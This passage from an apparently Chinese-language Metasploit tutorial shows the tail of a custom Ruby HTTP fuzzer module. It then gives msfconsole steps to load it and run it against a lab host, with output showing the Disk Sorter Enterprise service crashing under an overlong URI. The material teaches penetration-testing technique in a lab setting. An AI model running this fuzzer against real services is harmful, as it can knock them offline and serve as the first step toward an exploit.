print_status("Fuzzing with iteration #{count} using reqing length #{len}")
end
begin
r = get_request(uri,:timeout => 0.25)
rescue ::Interrupt
print_status("Exiting on interrupt: iteration #{count} using reqing length #{len}")
raise $!
rescue ::Exception => e
error = e
ensure
disconnect
end
if(not @connected)
if(last_req)
print_status("The service may have crashed: iteration:#{count-1} len=#{len} uri=''#{last_req}'' error=#{error}")
else
print_status("#{error}")
end
return
end
last_req = req
end
end
def make_http_uri_base
datastore['URIBASE']
end
end
# 工作原理
要使用模块,我们将它保存到~/.msf4/modules/auxiliary/fuzzers/http/http_fuzzer.rb
,然后在msfconsole
中加载它:
msf6 > use auxiliary/fuzzers/http/http_fuzzer
msf6 auxiliary(fuzzers/http/http_fuzzer) > show options
Module options (auxiliary/fuzzers/http/http_fuzzer):
Name Current Setting Required Description
---- --------------- -------- -----------
MAXLENGTH 20000 yes Maximum string length
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
View the full module info with the info, or info -d command.
msf6 auxiliary(fuzzers/http/http_fuzzer) >
设置RHOSTS
并运行它:
msf6 auxiliary(fuzzers/http/http_fuzzer) > set RHOSTS 192.168.91.141
RHOSTS => 192.168.91.141
msf6 auxiliary(fuzzers/http/http_fuzzer) > run
[*] Running module against 192.168.91.141
[*] 192.168.91.141:80 - Fuzzing with iteration 100 using reqing length 100
[*] 192.168.91.141:80 - Fuzzing with iteration 200 using reqing length 200
[*] 192.168.91.141:80 - Fuzzing with iteration 300 using reqing length 300
[*] 192.168.91.141:80 - Fuzzing with iteration 400 using reqing length 400
[*] 192.168.91.141:80 - Fuzzing with iteration 500 using reqing length 500
[*] 192.168.91.141:80 - Fuzzing with iteration 600 using reqing length 600
[*] 192.168.91.141:80 - Fuzzing with iteration 700 using reqing length 700
[*] 192.168.91.141:80 - Fuzzing with iteration 800 using reqing length 800
[*] 192.168.91.141:80 - Fuzzing with iteration 900 using reqing length 900
[*] 192.168.91.141:80 - Fuzzing with iteration 1000 using reqing length 1000
[*] 192.168.91.141:80 - Fuzzing with iteration 1100 using reqing length 1100
[*] 192.168.91.141:80 - Fuzzing with iteration 1200 using reqing length 1200
[*] 192.168.91.141:80 - Fuzzing with iteration 1300 using reqing length 1300
[*] 192.168.91.141:80 - Fuzzing with iteration 1400 using reqing length 1400
[*] 192.168.91.141:80 - Fuzzing with iteration 1500 using reqing length 1500
[*] 192.168.91.141:80 - The service may have crashed: iteration:1577 len=1578 uri=''XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'' error=The connection with (192.168.91.141:80) timed out.
非常棒,我们的fuzzer
模块成功了,它能够让 Disk Sorter Enterprise
服务崩溃。这是使用 Metasploit
对软件进行fuzzing
的一个简单演示。一般来说,我们不建议使用 Metasploit
作为大型软件的fuzzing
平台,但在进行渗透测试时,框架中可用的fuzzer
足以获得 PoC
。